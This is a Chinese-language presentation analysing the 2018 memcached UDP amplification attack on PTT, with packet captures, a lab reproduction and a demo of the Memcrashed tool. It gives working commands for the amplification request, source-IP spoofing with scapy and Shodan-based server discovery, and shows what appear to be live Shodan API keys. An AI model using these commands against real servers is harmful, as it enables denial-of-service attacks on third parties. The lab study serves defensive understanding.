

MEMCACHED 放大攻擊

ASOC 童鵬哲

1

PTT遭受攻擊

- 先前PTT遭受攻擊之封包內容為memcached 放大攻擊

No.	Time	Source	Src port	Destination	Dest port	Protocol	Length	Info
1	2018-03-01 22:45:09.000023	195.251.96.3	11211	140.112.172.11	11052	MEMCACHE	1442	MEMCACHE Continuation
2	2018-03-01 22:45:09.000072	211.23.34.32	11211	140.112.172.11	36531	MEMCACHE	1442	MEMCACHE Continuation
3	2018-03-01 22:45:09.000084	131.94.129.27	11211	140.112.172.11	12113	MEMCACHE	1442	MEMCACHE Continuation
4	2018-03-01 22:45:09.000095	129.194.185.95	11211	140.112.172.11	51114	MEMCACHE	1442	MEMCACHE Continuation
5	2018-03-01 22:45:09.000096	45.123.201.234	11211	140.112.172.11	56620	MEMCACHE	1442	MEMCACHE Continuation
6	2018-03-01 22:45:09.000110	203.69.116.91	11211	140.112.172.11	35123	MEMCACHE	1442	Unknown opcode (222) Respons
7	2018-03-01 22:45:09.000166	129.194.185.95	11211	140.112.172.11	51114	MEMCACHE	1442	MEMCACHE Continuation
8	2018-03-01 22:45:09.000188	78.28.135.50	11211	140.112.172.11	31247	MEMCACHE	1442	MEMCACHE Continuation
9	2018-03-01 22:45:09.000191	45.123.201.234	11211	140.112.172.11	56620	MEMCACHE	1442	MEMCACHE Continuation
10	2018-03-01 22:45:09.000218	103.246.219.74	11211	140.112.172.11	54397	MEMCACHE	1442	MEMCACHE Continuation
11	2018-03-01 22:45:09.000230	59.124.155.83	11211	140.112.172.11	1698	MEMCACHE	1442	MEMCACHE Continuation
12	2018-03-01 22:45:09.000286	129.194.185.95	11211	140.112.172.11	51114	MEMCACHE	1442	MEMCACHE Continuation
13	2018-							
14	2018-							
15	2018-							
16	2018-							
17	2018-							

Wireshark - Follow UDP Stream (udp.stream eq 8) - ptt_2

```
%..u?...Pay_50_XMR_To_456786Lg57D45CRj5v32BFBbwMzKEmjtCKQfms1nU7JFdWgtEgcwmReMD1HaHGPGhXJoXi2mamQtJd1YVQ7SwXUgDimZGpoPay_50_XMR  
_To_456786Lg57D45CRj5v32BFBbwMzKEmjtCKQfms1nU7JFdWgtEgcwmReMD1HaHGPGhXJoXi2mamQtJd1YVQ7SwXUgDimZGpoPay_50_XMR_To_456786Lg57D45C  
Rj5v32BFBbwMzKEmjtCKQfms1nU7JFdWgtEgcwmReMD1HaHGPGhXJoXi2mamQtJd1YVQ7SwXUgDimZGpoPay_50_XMR_To_456786Lg57D45CRj5v32BFBbwMzKEmjt  
CKQfms1nU7JFdWgtEgcwmReMD1HaHGPGhXJoXi2mamQtJd1YVQ7SwXUgDimZGpoPay_50_XMR_To_456786Lg57D45CRj5v32BFBbwMzKEmjtCKQfms1nU7JFdWgtEg  
cwmReMD1HaHGPGhXJoXi2mamQtJd1YVQ7SwXUgDimZGpoPay_50_XMR_To_456786Lg57D45CRj5v32BFBbwMzKEmjtCKQfms1nU7JFdWgtEgcwmReMD1HaHGPGhXJo  
Xi2mamQtJd1YVQ7SwXUgDimZGpoPay_50_XMR_To_456786Lg57D45CRj5v32BFBbwMzKEmjtCKQfms1nU7JFdWgtEgcwmReMD1HaHGPGhXJoXi2mamQtJd1YVQ7SwX  
UgDimZGpoPay_50_XMR_To_456786Lg57D45CRj5v32BFBbwMzKEmjtCKQfms1nU7JFdWgtEgcwmReMD1HaHGPGhXJoXi2mamQtJd1YVQ7SwXUgDimZGpoPay_50_XM  
R_To_456786Lg57D45CRj5v32BFBbwMzKEmjtCKQfms1nU7JFdWgtEgcwmReMD1HaHGPGhXJoXi2mamQtJd1YVQ7SwXUgDimZGpoPay_50_XMR_To_456786Lg57D45  
CRj5v32BFBbwMzKEmjtCKQfms1nU7JFdWgtEgcwmReMD1HaHGPGhXJoXi2mamQtJd1YVQ7SwXUgDimZGpoPay_50_XMR_To_456786Lg57D45CRj5v32BFBbwMzKEmj  
tCKQfms1nU7JFdWgtEgcwmReMD1HaHGPGhXJoXi2mamQtJd1YVQ7SwXUgDimZGpoPay_50_XMR_To_456786Lg57D45CRj5v32BFBbwMzKEmjtCKQfms1nU7JFdWgtE  
gcwmReMD1HaHGPGhXJoXi2mamQtJd1YVQ7SwXUgDimZGpoPay_50_XMR_To_456786Lg57D45CRj5v32BFBbwMzKEmjtCKQfms1nU7JFdWgtEgcwmReMD1HaHGPGhXJ  
oXi
```

- 附帶一提，封包內容為Pay 50 XMR To 456786Lg5..... (應為「門羅幣」之錢包地址)，頗為有趣。

MEMCACHED 小介紹

- Memcached 通常用於sql 或是 php session之cache，使用記憶體作為快取，但卻沒有權限管控機制，因此必須限制查詢來源，及設置於防火牆之後，會較為安全。
- ✓ 利於DDOS攻擊之優勢
 - 1. 通常會使用memcached服務，都是屬於商用型server，服務頻寬夠大。
 - 2. 沒有權限管控機制。
 - 3. 使用UDP封包傳送資料，利於偽造封包。
 - 4. 超大攻擊放大率。

實驗測試

- 利用Ubuntu建立 memcached server

```
Illegal argument
test@ubuntu:~$ memcached -m 64m -vv -u test -l 192.168.137.130 -U 11211
slab class 1: chunk size 96 perslab 10922
slab class 2: chunk size 120 perslab 8738
slab class 3: chunk size 152 perslab 6898
slab class 4: chunk size 192 perslab 5461
slab class 5: chunk size 240 perslab 4369
slab class 6: chunk size 304 perslab 3449
slab class 7: chunk size 384 perslab 2730
slab class 8: chunk size 480 perslab 2184
slab class 9: chunk size 600 perslab 1747
slab class 10: chunk size 752 perslab 1394
slab class 11: chunk size 944 perslab 1110
slab class 12: chunk size 1184 perslab 885
slab class 13: chunk size 1480 perslab 708
slab class 14: chunk size 1856 perslab 564
slab class 15: chunk size 2320 perslab 451
slab class 16: chunk size 2904 perslab 361
slab class 17: chunk size 3632 perslab 288
slab class 18: chunk size 4544 perslab 230
```

實驗測試

- 使用kali作為攻擊及上傳資料之主機

```
root@kali:~# python
Python 2.7.14+ (default, Dec 5 2017, 15:17:02)
[GCC 7.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>
KeyboardInterrupt
>>> import memcache
>>> mc=memcache.Client(['192.168.137.130:11211'], debug=True)
>>> mc.add('mcdonald',"mcdonald"*1000)
True
>>> mc.add('test1',"mcdonald"*10000)
True
>>> mc.add('test2',"mcdonald"*20000)
True
root@kali:~# ufw
>>> mc.add('test3',"mcdonald"*90000)
True
root@kali:~# ufw status
>>> mc.set('mcdonald',"mcdonald",9999999)
True
root@kali:~# ufw enable
11211 (?) open
Firewall is active and enabled on system startup
>>>
```


實驗測試

- 進行放大攻擊測試

```
root@kali:~# python -c "print '\0\x01\0\0\0\x01\0\0gets mcdonald test1 test2 test3\r\n'"
|nc -nvvu 192.168.137.130 11211 > Desktop/test
(UNKNOWN) [192.168.137.130] 11211 (?) open
sent 42, rcvd 965617
root@kali:~#
```

- 使用者傳送 42 bytes 大小的封包
Memcached server 回傳大小為 965617 bytes 之封包。
- 放大率約為 22990 倍。

實驗測試資料

```
tcp 0 0 ubuntu:domain *:* LISTEN
test@ubuntu:~$ netstat -atu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp    0      0 192.168.137.130:11211   *:*                    LISTEN
tcp    0      0 localhost:11211         *:*                    LISTEN
tcp    0      0 ubuntu:domain          *:*                    LISTEN
tcp    0      0 192.168.137.130:11211   192.168.137.129:53102  TIME_WAIT
tcp    0      1 192.168.137.130:11211   192.168.137.129:53092  FIN_WAIT1
udp    0      0 *:ipp                  *:*                    *
udp    0      0 192.168.137.130:11211   *:*                    *
udp    0      0 *:mdns                 *:*                    *
udp    0      0 *:59399                *:*                    *
udp    0      0 ubuntu:domain          *:*                    *
udp    0      0 *:bootpc               *:*                    *
udp6   0      0 [::]:mdns              [::]:*                 *
udp6   0      0 [::]:46452             [::]:*                 *
```

市面上之攻擊POC

- 利用python 撰寫攻擊腳本

```
File Edit View Search Terminal Help
ModuleNotFoundError: No module named 'scapy'
root@kali:~/桌面# python3 Memcrashed.py
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6

MEMCRASHED

Author: @037
Version: 3.2

##### DISCLAIMER #####
| Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable |
| memcached servers. It then allows you to use the same servers to launch widespread |
| distributed denial of service attacks by forging UDP packets sourced to your victim. |
| Default payload includes the memcached "stats" command, 10 bytes to send, but the reply |
| is between 1,500 bytes up to hundreds of kilobytes. Please use this tool responsibly. |
| I am NOT responsible for any damages caused or any crimes committed by using this tool. |
#####

[+] Please enter a valid Shodan.io API Key: v8bwfDg09Xm2UQUaZMiC9kTIUBDIcasA
[-] File written: ./api.txt

[+] Use Shodan API to search for affected Memcached servers? <Y/n>: y

[-] Checking Shodan.io API Key: v8bwfDg09Xm2UQUaZMiC9kTIUBDIcasA
[✘] Error: Please upgrade your API plan to use filters or paging.
[*] Would you like to change API Key? <Y/n>: y
[+] Please enter valid Shodan.io API Key: mGsL1h1ApYZkcCGBfEPNsdN2GpZsLziw
[-] File written: ./api.txt
[-] Restarting Platform! Please wait.
```

POC原理

- 先利用shodan資料庫進行掃描port 11211。
- 再利用python scapy套件，假造來源IP封包。

```
root@kali:~# scapy
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6
INFO: Please, report issues to https://github.com/phaethon/scapy
WARNING: IPython not available. Using standard Python shell instead.
Welcome to Scapy (3.0.0)
>>> send(IP(src=8.8.8.8, dst=2.2.2.2) / UDP(dport=11211)/Raw(load=12311111111), count=5)
File "<console>", line 1
    send(IP(src=8.8.8.8, dst=2.2.2.2) / UDP(dport=11211)/Raw(load=12311111111), count=5)
SyntaxError: invalid syntax
```

SCAPY 測試

```
>>> send(IP(src="8.8.8.8",dst="2.2.2.2")/UDP(dport=11211)/Raw(load=1231111111),count=5)
.....
Sent 5 packets.
>>> send(IP(src="8.8.8.8",dst="1.1.1.1")/UDP(sport=1234, dport=11211)/Raw(load=1231111111),count=5)
.....
Sent 5 packets.
>>> █
```

```
SyntaxError: unexpected character after line continuation character
>>> send(IP(src="1.1.1.1",dst="192.168.137.132")/UDP(sport=1234, dport=11211)
/Raw(load="\0\x01\0\0\0\x01\0\0stats\r\n"), count=5)
.....
Sent 5 packets.
>>> █
```

SCAPY 測試

- Memcached server 成功收到，並回傳。

```
test@ubuntu: ~  
slab class 36: chunk size 252696 perslab 4  
slab class 37: chunk size 315872 perslab 3  
slab class 38: chunk size 394840 perslab 2  
slab class 39: chunk size 493552 perslab 2  
slab class 40: chunk size 616944 perslab 1  
slab class 41: chunk size 771184 perslab 1  
slab class 42: chunk size 1048576 perslab 1  
<26 server listening (auto-negotiate)  
<27 send buffer was 212992, now 268435456  
<29 server listening (udp)  
<30 server listening (udp)  
<28 server listening (udp)  
<27 server listening (udp)  
<31 new auto-negotiating client connection  
31: Client using the ascii protocol  
<31 add test1 0 0 810000  
>31 STORED  
<31 add test2 0 0 792000  
>31 STORED  
27: Client using the ascii protocol  
<27 stats  
29: Client using the ascii protocol  
<29 stats  
30: Client using the ascii protocol  
<30 stats  
28: Client using the ascii protocol  
<28 stats  
28: Client using the ascii protocol  
<28 stats
```

SCAPY 測試

The image shows a Wireshark packet capture of a UDP stream. The top pane displays a list of packets, all identified as MEMCACHE Continuation. The bottom pane shows the 'stats' section of the selected packet, detailing system and application statistics.

Time	Source	Src port	Destination	Dest port	Protocol	Length	Info
166	2018-03-16 16:31:45.2522923...	1.1.1.1	1234	192.168.137.132	11211	MEMCACHE	60 MEMCACHE Continuation
167	2018-03-16 16:31:45.2525332...	192.168.137.132	11211	1.1.1.1	1234	MEMCACHE	1229 MEMCACHE Continuation
168	2018-03-16 16:31:45.2533416...	1.1.1.1	1234	192.168.137.132	11211	MEMCACHE	60 MEMCACHE Continuation
169	2018-03-16 16:31:45.2534805...	192.168.137.132	11211	1.1.1.1	1234	MEMCACHE	1231 MEMCACHE Continuation
170	2018-03-16 16:31:45.2545891...	1.1.1.1	1234	192.168.137.132	11211	MEMCACHE	60 MEMCACHE Continuation
171	2018-03-16 16:31:45.2547750...	192.168.137.132	11211	1.1.1.1	1234	MEMCACHE	1231 MEMCACHE Continuation
172	2018-03-16 16:31:45.2557648...	1.1.1.1	1234	192.168.137.132	11211	MEMCACHE	60 MEMCACHE Continuation
173	2018-03-16 16:31:45.2558785...	192.168.137.132	11211	1.1.1.1	1234	MEMCACHE	1231 MEMCACHE Continuation
174	2018-03-16 16:31:45.2566592...	1.1.1.1	1234	192.168.137.132	11211	MEMCACHE	60 MEMCACHE Continuation
175	2018-03-16 16:31:45.2567647...	192.168.137.132	11211	1.1.1.1	1234	MEMCACHE	1231 MEMCACHE Continuation

```
.....stats
.....STAT pid 8489
STAT uptime 777
STAT time 1521189105
STAT version 1.4.25 Ubuntu
STAT libevent 2.0.21-stable
STAT pointer_size 64
STAT rusage_user 0.000000
STAT rusage_system 0.034315
STAT curr_connections 5
STAT total_connections 6
STAT connection_structures 6
```

Frame 166
Ethernet
Internet
User Data
Memcache

Thanks